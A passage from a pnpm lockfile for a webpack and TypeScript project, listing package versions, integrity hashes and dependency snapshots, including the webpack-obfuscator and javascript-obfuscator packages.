sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==} 590 | engines: {node: '>= 0.4'} 591 | 592 | object-keys@1.1.1: 593 | resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} 594 | engines: {node: '>= 0.4'} 595 | 596 | opencollective-postinstall@2.0.3: 597 | resolution: {integrity: sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==} 598 | hasBin: true 599 | 600 | optionator@0.8.3: 601 | resolution: {integrity: sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==} 602 | engines: {node: '>= 0.8.0'} 603 | 604 | p-limit@2.3.0: 605 | resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} 606 | engines: {node: '>=6'} 607 | 608 | p-locate@4.1.0: 609 | resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} 610 | engines: {node: '>=8'} 611 | 612 | p-try@2.2.0: 613 | resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} 614 | engines: {node: '>=6'} 615 | 616 | path-exists@4.0.0: 617 | resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} 618 | engines: {node: '>=8'} 619 | 620 | path-key@3.1.1: 621 | resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} 622 | engines: {node: '>=8'} 623 | 624 | path-parse@1.0.7: 625 | resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} 626 | 627 | path@0.12.7: 628 | resolution: {integrity: sha512-aXXC6s+1w7otVF9UletFkFcDsJeO7lSZBPUQhtb5O0xJe8LtYhj/GxldoL09bBj9+ZmE2hNoHqQSFMN5fikh4Q==} 629 | 630 | picocolors@1.1.0: 631 | resolution: {integrity: sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw==} 632 | 633 | picomatch@2.3.1: 634 | resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} 635 | engines: {node: '>=8.6'} 636 | 637 | pkg-dir@4.2.0: 638 | resolution: {integrity: sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==} 639 | engines: {node: '>=8'} 640 | 641 | possible-typed-array-names@1.0.0: 642 | resolution: {integrity: sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==} 643 | engines: {node: '>= 0.4'} 644 | 645 | prelude-ls@1.1.2: 646 | resolution: {integrity: sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==} 647 | engines: {node: '>= 0.8.0'} 648 | 649 | process@0.11.10: 650 | resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==} 651 | engines: {node: '>= 0.6.0'} 652 | 653 | punycode@2.3.1: 654 | resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} 655 | engines: {node: '>=6'} 656 | 657 | randombytes@2.1.0: 658 | resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==} 659 | 660 | rechoir@0.8.0: 661 | resolution: {integrity: sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ==} 662 | engines: {node: '>= 10.13.0'} 663 | 664 | reflect-metadata@0.1.13: 665 | resolution: {integrity: sha512-Ts1Y/anZELhSsjMcU605fU9RE4Oi3p5ORujwbIKXfWa+0Zxs510Qrmrce5/Jowq3cHSZSJqBjypxmHarc+vEWg==} 666 | 667 | resolve-cwd@3.0.0: 668 | resolution: {integrity: sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==} 669 | engines: {node: '>=8'} 670 | 671 | resolve-from@5.0.0: 672 | resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} 673 | engines: {node: '>=8'} 674 | 675 | resolve@1.22.8: 676 | resolution: {integrity: sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==} 677 | hasBin: true 678 | 679 | safe-buffer@5.2.1: 680 | resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} 681 | 682 | schema-utils@3.3.0: 683 | resolution: {integrity: sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==} 684 | engines: {node: '>= 10.13.0'} 685 | 686 | semver@7.6.3: 687 | resolution: {integrity: sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==} 688 | engines: {node: '>=10'} 689 | hasBin: true 690 | 691 | serialize-javascript@6.0.2: 692 | resolution: {integrity: sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==} 693 | 694 | set-function-length@1.2.2: 695 | resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} 696 | engines: {node: '>= 0.4'} 697 | 698 | shallow-clone@3.0.1: 699 | resolution: {integrity: sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==} 700 | engines: {node: '>=8'} 701 | 702 | shebang-command@2.0.0: 703 | resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} 704 | engines: {node: '>=8'} 705 | 706 | shebang-regex@3.0.0: 707 | resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} 708 | engines: {node: '>=8'} 709 | 710 | source-list-map@2.0.1: 711 | resolution: {integrity: sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==} 712 | 713 | source-map-support@0.5.21: 714 | resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} 715 | 716 | source-map@0.1.43: 717 | resolution: {integrity: sha512-VtCvB9SIQhk3aF6h+N85EaqIaBFIAfZ9Cu+NJHHVvc8BbEcnvDcFw6sqQ2dQrT6SlOrZq3tIvyD9+EGq/lJryQ==} 718 | engines: {node: '>=0.8.0'} 719 | 720 | source-map@0.6.1: 721 | resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} 722 | engines: {node: '>=0.10.0'} 723 | 724 | source-map@0.7.4: 725 | resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} 726 | engines: {node: '>= 8'} 727 | 728 | string-template@1.0.0: 729 | resolution: {integrity: sha512-SLqR3GBUXuoPP5MmYtD7ompvXiG87QjT6lzOszyXjTM86Uu7At7vNnt2xgyTLq5o9T4IxTYFyGxcULqpsmsfdg==} 730 | 731 | stringz@2.1.0: 732 | resolution: {integrity: sha512-KlywLT+MZ+v0IRepfMxRtnSvDCMc3nR1qqCs3m/qIbSOWkNZYT8XHQA31rS3TnKp0c5xjZu3M4GY/2aRKSi/6A==} 733 | 734 | supports-color@7.2.0: 735 | resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} 736 | engines: {node: '>=8'} 737 | 738 | supports-color@8.1.1: 739 | resolution: {integrity: sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==} 740 | engines: {node: '>=10'} 741 | 742 | supports-preserve-symlinks-flag@1.0.0: 743 | resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} 744 | engines: {node: '>= 0.4'} 745 | 746 | tapable@2.2.1: 747 | resolution: {integrity: sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==} 748 | engines: {node: '>=6'} 749 | 750 | terser-webpack-plugin@5.3.10: 751 | resolution: {integrity: sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==} 752 | engines: {node: '>= 10.13.0'} 753 | peerDependencies: 754 | '@swc/core': '*' 755 | esbuild: '*' 756 | uglify-js: '*' 757 | webpack: ^5.1.0 758 | peerDependenciesMeta: 759 | '@swc/core': 760 | optional: true 761 | esbuild: 762 | optional: true 763 | uglify-js: 764 | optional: true 765 | 766 | terser@5.33.0: 767 | resolution: {integrity: sha512-JuPVaB7s1gdFKPKTelwUyRq5Sid2A3Gko2S0PncwdBq7kN9Ti9HPWDQ06MPsEDGsZeVESjKEnyGy68quBk1w6g==} 768 | engines: {node: '>=10'} 769 | hasBin: true 770 | 771 | to-regex-range@5.0.1: 772 | resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} 773 | engines: {node: '>=8.0'} 774 | 775 | ts-loader@9.5.1: 776 | resolution: {integrity: sha512-rNH3sK9kGZcH9dYzC7CewQm4NtxJTjSEVRJ2DyBZR7f8/wcta+iV44UPCXc5+nzDzivKtlzV6c9P4e+oFhDLYg==} 777 | engines: {node: '>=12.0.0'} 778 | peerDependencies: 779 | typescript: '*' 780 | webpack: ^5.0.0 781 | 782 | tslib@2.5.0: 783 | resolution: {integrity: sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==} 784 | 785 | type-check@0.3.2: 786 | resolution: {integrity: sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==} 787 | engines: {node: '>= 0.8.0'} 788 | 789 | typescript@5.6.2: 790 | resolution: {integrity: sha512-NW8ByodCSNCwZeghjN3o+JX5OFH0Ojg6sadjEKY4huZ52TqbJTJnDo5+Tw98lSy63NZvi4n+ez5m2u5d4PkZyw==} 791 | engines: {node: '>=14.17'} 792 | hasBin: true 793 | 794 | undici-types@6.19.8: 795 | resolution: {integrity: sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==} 796 | 797 | update-browserslist-db@1.1.0: 798 | resolution: {integrity: sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==} 799 | hasBin: true 800 | peerDependencies: 801 | browserslist: '>= 4.21.0' 802 | 803 | uri-js@4.4.1: 804 | resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} 805 | 806 | util@0.10.4: 807 | resolution: {integrity: sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==} 808 | 809 | util@0.12.5: 810 | resolution: {integrity: sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==} 811 | 812 | validator@13.12.0: 813 | resolution: {integrity: sha512-c1Q0mCiPlgdTVVVIJIrBuxNicYE+t/7oKeI9MWLj3fh/uq2Pxh/3eeWbVZ4OcGW1TUf53At0njHw5SMdA3tmMg==} 814 | engines: {node: '>= 0.10'} 815 | 816 | watchpack@2.4.2: 817 | resolution: {integrity: sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==} 818 | engines: {node: '>=10.13.0'} 819 | 820 | webpack-cli@5.1.4: 821 | resolution: {integrity: sha512-pIDJHIEI9LR0yxHXQ+Qh95k2EvXpWzZ5l+d+jIo+RdSm9MiHfzazIxwwni/p7+x4eJZuvG1AJwgC4TNQ7NRgsg==} 822 | engines: {node: '>=14.15.0'} 823 | hasBin: true 824 | peerDependencies: 825 | '@webpack-cli/generators': '*' 826 | webpack: 5.x.x 827 | webpack-bundle-analyzer: '*' 828 | webpack-dev-server: '*' 829 | peerDependenciesMeta: 830 | '@webpack-cli/generators': 831 | optional: true 832 | webpack-bundle-analyzer: 833 | optional: true 834 | webpack-dev-server: 835 | optional: true 836 | 837 | webpack-merge@5.10.0: 838 | resolution: {integrity: sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA==} 839 | engines: {node: '>=10.0.0'} 840 | 841 | webpack-obfuscator@3.5.1: 842 | resolution: {integrity: sha512-vztsD8oNdkX9FY/K4GTuylNWLGlc0n07vt7sCa+SlixKe/8iGejlxb/ZiKARmaZ2c8AbiBZcB/5hYqeNPydVZA==} 843 | peerDependencies: 844 | javascript-obfuscator: ^2.8.0 || ^3.0.0 || ^4.0.0 845 | webpack: ^5.1.0 846 | 847 | webpack-sources@2.3.1: 848 | resolution: {integrity: sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==} 849 | engines: {node: '>=10.13.0'} 850 | 851 | webpack-sources@3.2.3: 852 | resolution: {integrity: sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==} 853 | engines: {node: '>=10.13.0'} 854 | 855 | webpack@5.95.0: 856 | resolution: {integrity: sha512-2t3XstrKULz41MNMBF+cJ97TyHdyQ8HCt//pqErqDvNjU9YQBnZxIHa11VXsi7F3mb5/aO2tuDxdeTPdU7xu9Q==} 857 | engines: {node: '>=10.13.0'} 858 | hasBin: true 859 | peerDependencies: 860 | webpack-cli: '*' 861 | peerDependenciesMeta: 862 | webpack-cli: 863 | optional: true 864 | 865 | which-typed-array@1.1.15: 866 | resolution: {integrity: sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA==} 867 | engines: {node: '>= 0.4'} 868 | 869 | which@2.0.2: 870 | resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} 871 | engines: {node: '>= 8'} 872 | hasBin: true 873 | 874 | wildcard@2.0.1: 875 | resolution: {integrity: sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==} 876 | 877 | word-wrap@1.2.5: 878 | resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} 879 | engines: {node: '>=0.10.0'} 880 | 881 | snapshots: 882 | 883 | '@discoveryjs/json-ext@0.5.7': {} 884 | 885 | '@javascript-obfuscator/escodegen@2.3.0': 886 | dependencies: 887 | '@javascript-obfuscator/estraverse': 5.4.0 888 | esprima: 4.0.1 889 | esutils: 2.0.3 890 | optionator: 0.8.3 891 | optionalDependencies: 892 | source-map: 0.6.1 893 | 894 | '@javascript-obfuscator/estraverse@5.4.0': {} 895 | 896 | '@jridgewell/gen-mapping@0.3.5': 897 | dependencies: 898 | '@jridgewell/set-array': 1.2.1 899 | '@jridgewell/sourcemap-codec': 1.5.0 900 | '@jridgewell/trace-mapping': 0.3.25 901 | 902 | '@jridgewell/resolve-uri@3.1.2': {} 903 | 904 | '@jridgewell/set-array@1.2.1': {} 905 | 906 | '@jridgewell/source-map@0.3.6': 907 | dependencies: 908 | '@jridgewell/gen-mapping': 0.3.5 909 | '@jridgewell/trace-mapping': 0.3.25 910 | 911 | '@jridgewell/sourcemap-codec@1.5.0': {} 912 | 913 | '@jridgewell/trace-mapping@0.3.25': 914 | dependencies: 915 | '@jridgewell/resolve-uri': 3.1.2 916 | '@jridgewell/sourcemap-codec': 1.5.0 917 | 918 | '@types/estree@1.0.6': {} 919 | 920 | '@types/json-schema@7.0.15': {} 921 | 922 | '@types/minimatch@3.0.5': {} 923 | 924 | '@types/node@22.7.2': 925 | dependencies: 926 | undici-types: 6.19.8 927 | 928 | '@types/validator@13.12.2': {} 929 | 930 | '@webassemblyjs/ast@1.12.1': 931 | dependencies: 932 | '@webassemblyjs/helper-numbers': 1.11.6 933 | '@webassemblyjs/helper-wasm-bytecode': 1.11.6 934 | 935 | '@webassemblyjs/floating-point-hex-parser@1.11.6': {} 936 | 937 | '@webassemblyjs/helper-api-error@1.11.6': {} 938 | 939 | '@webassemblyjs/helper-buffer@1.12.1': {} 940 | 941 | '@webassemblyjs/helper-numbers@1.11.6': 942 | dependencies: 943 | '@webassemblyjs/floating-point-hex-parser': 1.11.6 944 | '@webassemblyjs/helper-api-error': 1.11.6 945 | '@xtuc/long': 4.2.2 946 | 947 | '@webassemblyjs/helper-wasm-bytecode@1.11.6': {} 948 | 949 | '@webassemblyjs/helper-wasm-section@1.12.1': 950 | dependencies: 951 | '@webassemblyjs/ast': 1.12.1 952 | '@webassemblyjs/helper-buffer': 1.12.1 953 | '@webassemblyjs/helper-wasm-bytecode': 1.11.6 954 | '@webassemblyjs/wasm-gen': 1.12.1 955 | 956 | '@webassemblyjs/ieee754@1.11.6': 957 | dependencies: 958 | '@xtuc/ieee754': 1.2.0 959 | 960 | '@webassemblyjs/leb128@1.11.6': 961 | dependencies: 962 | '@xtuc/long': 4.2.2 963 | 964 | '@webassemblyjs/utf8@1.11.6': {} 965 | 966 | '@webassemblyjs/wasm-edit@1.12.1': 967 | dependencies: 968 | '@webassemblyjs/ast': 1.12.1 969 | '@webassemblyjs/helper-buffer': 1.12.1 970 | '@webassemblyjs/helper-wasm-bytecode': 1.11.6 971 | '@webassemblyjs/helper-wasm-section': 1.12.1 972 | '@webassemblyjs/wasm-gen': 1.12.1 973 | '@webassemblyjs/wasm-opt': 1.12.1 974 | '@webassemblyjs/wasm-parser': 1.12.1 975 | '@webassemblyjs/wast-printer': 1.12.1 976 | 977 | '@webassemblyjs/wasm-gen@1.12.1': 978 | dependencies: 979 | '@webassemblyjs/ast': 1.12.1 980 | '@webassemblyjs/helper-wasm-bytecode': 1.11.6 981 | '@webassemblyjs/ieee754': 1.11.6 982 | '@webassemblyjs/leb128': 1.11.6 983 | '@webassemblyjs/utf8': 1.11.6 984 | 985 | '@webassemblyjs/wasm-opt@1.12.1': 986 | dependencies: 987 | '@webassemblyjs/ast': 1.12.1 988 | '@webassemblyjs/helper-buffer': 1.12.1 989 | '@webassemblyjs/wasm-gen': 1.12.1 990 | '@webassemblyjs/wasm-parser': 1.12.1 991 | 992 | '@webassemblyjs/wasm-parser@1.12.1': 993 | dependencies: 994 | '@webassemblyjs/ast': 1.12.1 995 | '@webassemblyjs/helper-api-error': 1.11.6 996 | '@webassemblyjs/helper-wasm-bytecode': 1.11.6 997 | '@webassemblyjs/ieee754': 1.11.6 998 | '@webassemblyjs/leb128': 1.11.6 999 | '@webassemblyjs/utf8': 1.11.6 1000 | 1001 | '@webassemblyjs/wast-printer@1.12.1': 1002 | dependencies: 1003 | '@webassemblyjs/ast': 1.12.1 1004 | '@xtuc/long': 4.2.2 1005 | 1006 | '@webpack-cli/configtest@2.1.1(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4))': 1007 | dependencies: 1008 | webpack: 5.95.0(webpack-cli@5.1.4) 1009 | webpack-cli: 5.1.4(webpack@5.95.0) 1010 | 1011 | '@webpack-cli/info@2.0.2(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4))': 1012 | dependencies: 1013 | webpack: 5.95.0(webpack-cli@5.1.4) 1014 | webpack-cli: 5.1.4(webpack@5.95.0) 1015 | 1016 | '@webpack-cli/serve@2.0.5(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4))': 1017 | dependencies: 1018 | webpack: 5.95.0(webpack-cli@5.1.4) 1019 | webpack-cli: 5.1.4(webpack@5.95.0) 1020 | 1021 | '@xtuc/ieee754@1.2.0': {} 1022 | 1023 | '@xtuc/long@4.2.2': {} 1024 | 1025 | acorn-import-attributes@1.9.5(acorn@8.12.1): 1026 | dependencies: 1027 | acorn: 8.12.1 1028 | 1029 | acorn@8.12.1: {} 1030 | 1031 | acorn@8.8.2: {} 1032 | 1033 | ajv-keywords@3.5.2(ajv@6.12.6): 1034 | dependencies: 1035 | ajv: 6.12.6 1036 | 1037 | ajv@6.12.6: 1038 | dependencies: 1039 | fast-deep-equal: 3.1.3 1040 | fast-json-stable-stringify: 2.1.0 1041 | json-schema-traverse: 0.4.1 1042 | uri-js: 4.4.1 1043 | 1044 | amdefine@1.0.1: {} 1045 | 1046 | ansi-styles@4.3.0: 1047 | dependencies: 1048 | color-convert: 2.0.1 1049 | 1050 | array-differ@3.0.0: {} 1051 | 1052 | array-union@2.1.0: {} 1053 | 1054 | arrify@2.0.1: {} 1055 | 1056 | assert@2.0.0: 1057 | dependencies: 1058 | es6-object-assign: 1.1.0 1059 | is-nan: 1.3.2 1060 | object-is: 1.1.6 1061 | util: 0.12.5 1062 | 1063 | available-typed-arrays@1.0.7: 1064 | dependencies: 1065 | possible-typed-array-names: 1.0.0 1066 | 1067 | balanced-match@1.0.2: {} 1068 | 1069 | big.js@5.2.2: {} 1070 | 1071 | brace-expansion@1.1.11: 1072 | dependencies: 1073 | balanced-match: 1.0.2 1074 | concat-map: 0.0.1 1075 | 1076 | braces@3.0.3: 1077 | dependencies: 1078 | fill-range: 7.1.1 1079 | 1080 | browserslist@4.24.0: 1081 | dependencies: 1082 | caniuse-lite: 1.0.30001664 1083 | electron-to-chromium: 1.5.29 1084 | node-releases: 2.0.18 1085 | update-browserslist-db: 1.1.0(browserslist@4.24.0) 1086 | 1087 | buffer-from@1.1.2: {} 1088 | 1089 | call-bind@1.0.7: 1090 | dependencies: 1091 | es-define-property: 1.0.0 1092 | es-errors: 1.3.0 1093 | function-bind: 1.1.2 1094 | get-intrinsic: 1.2.4 1095 | set-function-length: 1.2.2 1096 | 1097 | caniuse-lite@1.0.30001664: {} 1098 | 1099 | chalk@4.1.2: 1100 | dependencies: 1101 | ansi-styles: 4.3.0 1102 | supports-color: 7.2.0 1103 | 1104 | chance@1.1.9: {} 1105 | 1106 | char-regex@1.0.2: {} 1107 | 1108 | charenc@0.0.2: {} 1109 | 1110 | chrome-trace-event@1.0.4: {} 1111 | 1112 | class-validator@0.14.1: 1113 | dependencies: 1114 | '@types/validator': 13.12.2 1115 | libphonenumber-js: 1.11.9 1116 | validator: 13.12.0 1117 | 1118 | clone-deep@4.0.1: 1119 | dependencies: 1120 | is-plain-object: 2.0.4 1121 | kind-of: 6.0.3 1122 | shallow-clone: 3.0.1 1123 | 1124 | color-convert@2.0.1: 1125 | dependencies: 1126 | color-name: 1.1.4 1127 | 1128 | color-name@1.1.4: {} 1129 | 1130 | colorette@2.0.20: {} 1131 | 1132 | commander@10.0.0: {} 1133 | 1134 | commander@10.0.1: {} 1135 | 1136 | commander@2.20.3: {} 1137 | 1138 | concat-map@0.0.1: {} 1139 | 1140 | cross-spawn@7.0.3: 1141 | dependencies: 1142 | path-key: 3.1.1 1143 | shebang-command: 2.0.0 1144 | which: 2.0.2 1145 | 1146 | crypt@0.0.2: {} 1147 | 1148 | deep-is@0.1.4: {} 1149 | 1150 | define-data-property@1.1.4: 1151 | dependencies: 1152 | es-define-property: 1.0.0 1153 | es-errors: 1.3.0 1154 | gopd: 1.0.1 1155 | 1156 | define-properties@1.2.1: 1157 | dependencies: 1158 | define-data-property: 1.1.4 1159 | has-property-descriptors: 1.0.2 1160 | object-keys: 1.1.1 1161 | 1162 | electron-to-chromium@1.5.29: {} 1163 | 1164 | emojis-list@3.0.0: {} 1165 | 1166 | enhanced-resolve@5.17.1: 1167 | dependencies: 1168 | graceful-fs: 4.2.11 1169 | tapable: 2.2.1 1170 | 1171 | envinfo@7.14.0: {} 1172 | 1173 | es-define-property@1.0.0: 1174 | dependencies: 1175 | get-intrinsic: 1.2.4 1176 | 1177 | es-errors@1.3.0: {} 1178 | 1179 | es-module-lexer@1.5.4: {} 1180 | 1181 | es6-object-assign@1.1.0: {} 1182 | 1183 | escalade@3.2.0: {} 1184 | 1185 | eslint-scope@5.1.1: 1186 | dependencies: 1187 | esrecurse: 4.3.0 1188 | estraverse: 4.3.0 1189 | 1190 | eslint-scope@7.1.1: 1191 | dependencies: 1192 | esrecurse: 4.3.0 1193 | estraverse: 5.3.0 1194 | 1195 | eslint-visitor-keys@3.3.0: {} 1196 | 1197 | esprima@4.0.1: {} 1198 | 1199 | esrecurse@4.3.0: 1200 | dependencies: 1201 | estraverse: 5.3.0 1202 | 1203 | estraverse@4.3.0: {} 1204 | 1205 | estraverse@5.3.0: {} 1206 | 1207 | esutils@2.0.3: {} 1208 | 1209 | events@3.3.0: {} 1210 | 1211 | fast-deep-equal@3.1.3: {} 1212 | 1213 | fast-json-stable-stringify@2.1.0: {} 1214 | 1215 | fast-levenshtein@2.0.6: {} 1216 | 1217 | fastest-levenshtein@1.0.16: {} 1218 | 1219 | fill-range@7.1.1: 1220 | dependencies: 1221 | to-regex-range: 5.0.1 1222 | 1223 | find-up@4.1.0: 1224 | dependencies: 1225 | locate-path: 5.0.0 1226 | path-exists: 4.0.0 1227 | 1228 | flat@5.0.2: {} 1229 | 1230 | for-each@0.3.3: 1231 | dependencies: 1232 | is-callable: 1.2.7 1233 | 1234 | function-bind@1.1.2: {} 1235 | 1236 | get-intrinsic@1.2.4: 1237 